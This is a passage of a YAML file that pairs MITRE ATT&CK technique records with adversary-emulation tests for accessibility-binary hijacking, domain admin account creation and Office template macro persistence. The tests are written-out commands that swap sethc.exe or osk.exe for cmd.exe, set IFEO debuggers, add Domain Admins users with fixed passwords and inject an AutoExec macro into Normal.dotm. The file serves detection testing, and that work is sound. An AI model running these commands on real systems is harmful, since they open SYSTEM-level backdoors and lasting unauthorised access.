        * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
        * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
        * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Paul Speulstra, AECOM Global Security Operations Center
      x_mitre_deprecated: false
      x_mitre_detection: Changes to accessibility utility binaries or binary paths
        that do not correlate with known software, patch cycles, etc., are suspicious.
        Command line invocation of tools capable of modifying the Registry for associated
        keys are also suspicious. Utility arguments and the binaries themselves should
        be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
        NT\CurrentVersion\Image File Execution Options</code>.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
      created: '2020-01-24T14:32:40.315Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/008
        external_id: T1546.008
      - source_name: Narrator Accessibility Abuse
        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
          URI for Fileless Persistence. Retrieved April 28, 2020.
        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
      - source_name: FireEye Hikit Rootkit
        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
      - source_name: DEFCON2016 Sticky Keys
        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
          the Kingdom. Retrieved July 5, 2017.
        url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
      - source_name: Tilbury 2014
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.008
    atomic_tests:
    - name: Attaches Command Prompt as a Debugger to a List of Target Processes
      auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9
      description: |
        Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
        Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
      supported_platforms:
      - windows
      input_arguments:
        parent_list:
          description: 'Comma separated list of system binaries to which you want
            to attach each #{attached_process}. Default: "osk.exe"

            '
          type: string
          default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe,
            atbroker.exe
        attached_process:
          description: 'Full path to process to attach to target in #{parent_list}.
            Default: cmd.exe

            '
          type: path
          default: C:\windows\system32\cmd.exe
      executor:
        command: |
          $input_table = "#{parent_list}".split(",")
          $Name = "Debugger"
          $Value = "#{attached_process}"
          Foreach ($item in $input_table){
            $item = $item.trim()
            $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
            IF(!(Test-Path $registryPath))
            {
              New-Item -Path $registryPath -Force
              New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
            }
            ELSE
            {
              New-ItemProperty -Path $registryPath -Name $name -Value $Value
            }
          }
        cleanup_command: |
          $input_table = "#{parent_list}".split(",")
          Foreach ($item in $input_table)
          {
            $item = $item.trim()
            reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
          }
        name: powershell
        elevation_required: true
    - name: Replace binary of sticky keys
      auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3
      description: 'Replace sticky keys binary (sethc.exe) with cmd.exe

        '
      supported_platforms:
      - windows
      executor:
        command: |
          IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd )
          takeown /F C:\Windows\System32\sethc.exe /A
          icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
          copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
        cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe

          '
        name: command_prompt
        elevation_required: true
    - name: Create Symbolic Link From osk.exe to cmd.exe
      auto_generated_guid: 51ef369c-5e87-4f33-88cd-6d61be63edf2
      description: 'Replace accessiblity executable with cmd.exe to provide elevated
        command prompt from login screen without logging in.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd )
          takeown /F %windir%\System32\osk.exe /A
          icacls %windir%\System32\osk.exe /grant Administrators:F /t
          del %windir%\System32\osk.exe
          mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe
        cleanup_command: |
          takeown /F %windir%\System32\osk.exe /A
          icacls %windir%\System32\osk.exe /grant Administrators:F /t
          del %windir%\System32\osk.exe
          copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe
          icacls %windir%\system32\osk.exe /inheritance:d
          icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller"
          icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t
          icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX
          icacls %windir%\system32\osk.exe /grant:r Administrators:RX
        name: command_prompt
        elevation_required: true
    - name: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key
      auto_generated_guid: 444ff124-4c83-4e28-8df6-6efd3ece6bd4
      description: 'Executes code specified in the registry for a new AT (Assistive
        Technologies).

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
          atbroker /start malware_test
        cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test"
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Auto-start application on user logon
      auto_generated_guid: 7125eba8-7b30-426b-9147-781d152be6fb
      description: |
        Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
        This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f
        cleanup_command: |
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f
        name: command_prompt
        elevation_required: true
  T1136.002:
    technique:
      modified: '2024-02-01T04:37:36.774Z'
      name: 'Create Account: Domain Account'
      description: |-
        Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)

        Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for processes and command-line parameters associated
        with domain account creation, such as <code>net user /add /domain</code>.
        Collect data on account creation within a network. Event ID 4720 is generated
        when a user account is created on a Windows domain controller. (Citation:
        Microsoft User Creation Event) Perform regular audits of domain accounts to
        detect suspicious accounts that may have been created by an adversary.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'User Account: User Account Creation'
      type: attack-pattern
      id: attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177
      created: '2020-01-28T14:05:17.825Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1136/002
        external_id: T1136.002
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      - source_name: Savill 1999
        description: Savill, J. (1999, March 4). Net.exe reference. Retrieved September
          22, 2015.
        url: https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1136.002
    atomic_tests:
    - name: Create a new Windows domain admin user
      auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62
      description: 'Creates a new domain admin user in a command prompt.

        '
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: T1136.002_Admin
        password:
          description: Password of the user to create
          type: string
          default: T1136_pass123!
        group:
          description: Domain administrator group to which add the user to
          type: string
          default: Domain Admins
      executor:
        command: |
          net user "#{username}" "#{password}" /add /domain
          net group "#{group}" "#{username}" /add /domain
        cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain

          '
        name: command_prompt
        elevation_required: false
    - name: Create a new account similar to ANONYMOUS LOGON
      auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548
      description: 'Create a new account similar to ANONYMOUS LOGON in a command prompt.

        '
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: string
          default: ANONYMOUS  LOGON
        password:
          description: Password of the user to create
          type: string
          default: T1136_pass123!
      executor:
        command: 'net user "#{username}" "#{password}" /add /domain

          '
        cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain

          '
        name: command_prompt
        elevation_required: false
    - name: Create a new Domain Account using PowerShell
      auto_generated_guid: 5a3497a4-1568-4663-b12a-d4a5ed70c7d7
      description: 'Creates a new Domain User using the credentials of the Current
        User

        '
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Name of the Account to be created
          type: string
          default: T1136.002_Admin
        password:
          description: Password of the Account to be created
          type: string
          default: T1136_pass123!
      executor:
        command: |
          $SamAccountName = '#{username}'
          $AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
          Add-Type -AssemblyName System.DirectoryServices.AccountManagement
          $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
          $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
          $User.SamAccountName = $SamAccountName
          $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
          $User.SetPassword($TempCred.GetNetworkCredential().Password)
          $User.Enabled = $True
          $User.PasswordNotRequired = $False
          $User.DisplayName = $SamAccountName
          $User.Save()
          $User
        cleanup_command: 'cmd /c "net user #{username} /del >nul 2>&1"

          '
        name: powershell
        elevation_required: false
    - name: Active Directory Create Admin Account
      auto_generated_guid: 562aa072-524e-459a-ba2b-91f1afccf5ab
      description: 'Use Admin Credentials to Create A Domain Admin Account

        '
      supported_platforms:
      - linux
      input_arguments:
        domain:
          description: The domain to be tested
          type: string
          default: example
        top_level_domain:
          description: The top level domain (.com, .test, .remote, etc... following
            domain, minus the .)
          type: string
          default: test
        admin_user:
          description: username@domain of a user with admin privileges
          type: string
          default: admin@example.test
        admin_password:
          description: password of the user with admin privileges referenced in admin_user
          type: string
          default: s3CurePssw0rD!
        domain_controller:
          description: Name of the domain_controller machine, defined in etc/hosts
          type: string
          default: adVM
      dependency_executor_name: sh
      dependencies:
      - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm
          available

          '
        prereq_command: 'which ldapadd && which ldapmodify

          '
        get_prereq_command: 'echo ldapadd or ldapmodify not found; exit 1

          '
      executor:
        elevation_required: false
        command: |
          echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
          echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
          ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
        cleanup_command: |
          echo removing Atomic User (temporary user)
          echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
          ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
          rm deleteuser.ldif
          rm tempadmin.ldif
        name: sh
    - name: Active Directory Create User Account (Non-elevated)
      auto_generated_guid: 8c992cb3-a46e-4fd5-b005-b1bab185af31
      description: 'Use Admin Credentials to Create A Normal Account (as means of
        entry)

        '
      supported_platforms:
      - linux
      input_arguments:
        domain:
          description: The domain to be tested
          type: string
          default: example
        top_level_domain:
          description: The top level domain (.com, .test, .remote, etc... following
            domain, minus the .)
          type: string
          default: test
        admin_user:
          description: username@domain of a user with admin privileges
          type: string
          default: user@example.test
        admin_password:
          description: password of the user
          type: string
          default: s3CurePssw0rD!
        domain_controller:
          description: Name of the domain_controller machine, defined in etc/hosts
          type: string
          default: adVM
      dependency_executor_name: sh
      dependencies:
      - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm
          available, ldapadd, ldapmodify

          '
        prereq_command: |
          which ldapadd
          which ldapmodify
        get_prereq_command: 'echo ldapadd or ldapmodify not found; exit 1

          '
      executor:
        elevation_required: false
        command: |
          echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
          echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
          ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
        cleanup_command: |
          echo removing Atomic User (temporary user)
          echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif
          ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif
          rm deleteuser.ldif
          rm tempadmin.ldif
        name: sh
  T1542.002:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
      type: attack-pattern
      created: '2019-12-19T20:21:21.669Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1542.002
        url: https://attack.mitre.org/techniques/T1542/002
      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
          (S.M.A.R.T.). Retrieved October 2, 2018.
        source_name: SanDisk SMART
      - url: https://www.smartmontools.org/
        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
        source_name: SmartMontools
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      modified: '2022-05-11T14:00:00.188Z'
      name: Component Firmware
      description: |-
        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.

        Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      - 'Process: OS API Execution'
      - 'Driver: Driver Metadata'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_system_requirements:
      - Ability to update component device firmware from the host operating system.
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1137.001:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21
      type: attack-pattern
      created: '2019-11-07T20:29:17.788Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137.001
        url: https://attack.mitre.org/techniques/T1137/001
      - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
        description: Microsoft. (n.d.). Change the Normal template (Normal.dotm).
          Retrieved July 3, 2017.
        source_name: Microsoft Change Normal Template
      - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
        description: Austin, J. (2017, June 6). Getting Started with VBA in Office.
          Retrieved July 3, 2017.
        source_name: MSDN VBA in Office
      - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
        description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm.
          Retrieved July 3, 2017.
        source_name: enigma0x3 normal.dotm
      - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
        description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62.
          Retrieved July 3, 2017.
        source_name: Hexacorn Office Template Macros
      - source_name: GlobalDotName Jun 2019
        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
      - source_name: CrowdStrike Outlook Forms
        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
          Movement and Persistence. Retrieved February 5, 2019.
      - source_name: Outlook Today Home Page
        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
          Retrieved February 5, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Office Application Startup: Office Template Macros.'
      description: "Adversaries may abuse Microsoft Office templates to obtain persistence
        on a compromised system. Microsoft Office contains templates that are part
        of common Office applications and are used to customize styles. The base templates
        within the application are used each time an application starts. (Citation:
        Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications
        (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base
        template and used to execute code when the respective Office application starts
        in order to obtain persistence. Examples for both Word and Excel have been
        discovered and published. By default, Word has a Normal.dotm template created
        that can be modified to include a malicious macro. Excel does not have a template
        file created by default, but one can be added that will automatically be loaded.(Citation:
        enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates
        may also be stored and pulled from remote locations.(Citation: GlobalDotName
        Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel
        Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries
        may also change the location of the base template to point to their own by
        hijacking the application's search order, e.g. Word 2016 will first look for
        Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>,
        or by modifying the GlobalDotName registry key. By modifying the GlobalDotName
        registry key an adversary can specify an arbitrary location, file name, and
        file extension to use for the template that will be loaded on application
        startup. To abuse GlobalDotName, adversaries may first need to register the
        template as a trusted document or place it in a trusted location.(Citation:
        GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute
        unrestricted depending on the system or enterprise security policy on use
        of macros."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: 'Many Office-related persistence mechanisms require changes
        to the Registry and for binaries, files, or scripts to be written to disk
        or existing files modified to include malicious scripts. Collect events related
        to Registry key creation and modification for keys that could be used for
        Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook
        Today Home Page) Modification to base templates, like Normal.dotm, should
        also be investigated since the base templates should likely not contain VBA
        macros. Changes to the Office macro security settings should also be investigated.(Citation:
        GlobalDotName Jun 2019)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1137.001
    atomic_tests:
    - name: Injecting a Macro into the Word Normal.dotm Template for Persistence via
        PowerShell
      auto_generated_guid: 940db09e-80b6-4dd0-8d4d-7764f89b47a8
      description: 'Injects a Macro in the Word default template "Normal.dotm" and
        makes it execute each time that Word is opened. In this test, the Macro creates
        a sheduled task to open Calc.exe every evening.

        '
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      executor:
        name: powershell
        elevation_required: true
        command: "# Registry setting to \"Trust access to the VBA project object model\"
          in Word\n$registryKey = \"HKCU:Software\\Microsoft\\Office\\16.0\\Word\\Security\"\n$registryValue
          = \"AccessVBOM\"\n$registryData = \"1\"\n# The path where a flag text file
          will be created if Registry setting did not already exist or if it was set
          to 0\n$flagPath1 = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag1.txt\"\n$flagPath2
          = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag2.txt\"\n#
          Get the value of the Key/Value pair\n$value = (Get-ItemProperty -Path $registryKey
          -Name $registryValue -ErrorAction SilentlyContinue).$registryValue\n# Logical
          operation to: if the value of the key/value is 1, do nothing - \n# if the
          value is 0, change it to 1 and create flag1 - \n# if it doesn't exist, create
          the value and flag2\nif ($value -eq \"1\") \n{\n  Write-Host \"The registry
          value '$registryValue' already exists with the required setting.\"\n}   \n
          \ elseif ($value -eq \"0\") \n{\n  Write-Host \"The registry value was set
          to 0, temporarily changing to 1.\"\n  New-ItemProperty -Path $registryKey
          -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null\n
          \ echo \"flag1\" > $flagPath1\n} \n  else \n{\n  Write-Host \"The registry
          value '$registryValue' does not exist, temporarily creating it.\"\n  New-ItemProperty
          -Path $registryKey -Name $registryValue -Value $registryData -PropertyType
          DWORD -Force | Out-Null\n  echo \"flag2\" > $flagPath2\n}\nAdd-Type -AssemblyName
          Microsoft.Office.Interop.Word\n# Define the path of copied normal template
          for restoral\n$copyPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal1.dotm\"\n#
          Define the path to the normal template\n$docPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\"\n#
          Create copy of orginal template for restoral\nCopy-Item -Path $docPath -Destination
          $copyPath -Force\n# VBA code to be insterted as a Macro\n# Will create a
          scheduled task to open the Calculator at 8:04pm daily\n$vbaCode = @\"\n
          \ Sub AutoExec()\n  Dim applicationPath As String\n  Dim taskName As String\n
          \ Dim runTime As String\n  Dim schTasksCmd As String\n  applicationPath
          = \"C:\\Windows\\System32\\calc.exe\"\n  taskName = \"OpenCalcTask\"\n  runTime
          = \"20:04\"\n  schTasksCmd = \"schtasks /create /tn \"\"\" & taskName &
          \"\"\" /tr \"\"\" & applicationPath & \"\"\" /sc daily /st \" & runTime
          & \" /f\"\n  Shell \"cmd.exe /c \" & schTasksCmd, vbNormalFocus\n  End Sub\n\"@\n#
          Create a new instance of Word.Application\n$word = New-Object -ComObject
          Word.Application\n# Keep the Word application hidden\n$word.Visible = $false\n#
          Open the document\n$document = $word.Documents.Open($docPath)\n# Access
          the VBA project of the document\n$vbaProject = $document.VBProject\n# Add
          a new module to the VBA project\n$newModule = $vbaProject.VBComponents.Add(1)
          # 1 = vbext_ct_StdModule\n# Add the VBA code to the new module\n$newModule.CodeModule.AddFromString($vbaCode)\n#
          Run the Macro\n$word.run(\"AutoExec\")\n# Save and close the document\n$document.SaveAs($docPath)\n$document.Close()\n#
          Quit Word\n$word.Quit()\n# Release COM objects\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document)
          | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word)
          | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject)
          | Out-Null\n[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule)
          | Out-Null\n"
        cleanup_command: "# Registry setting to \"Trust access to the VBA project
          object model\" in Word\n$registryKey = \"HKCU:Software\\Microsoft\\Office\\16.0\\Word\\Security\"\n$registryValue
          = \"AccessVBOM\"\n$registryData1 = \"1\"\n$registryData0 = \"0\"\n# Defines
          the path each flag file created depending on the original registry state\n$flagPath1
          = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag1.txt\"\n$flagPath2
          = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\T1137-001_Flag2.txt\"\n#
          Define the path of copied normal template for restoral\n$copyPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal1.dotm\"\n#
          Define the path to the normal template\n$docPath = \"$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\"\n#
          Delete the scheduled task created by the Macro\nschtasks /Delete /TN \"OpenCalcTask\"
          /F | Out-Null\n#Restore the orginal template if the backup copy exists\nif
          (Test-Path $copyPath)\n{\n  #Delete the injected template\n  Remove-Item
          -Force $docPath -ErrorAction SilentlyContinue\n  # Restore the original
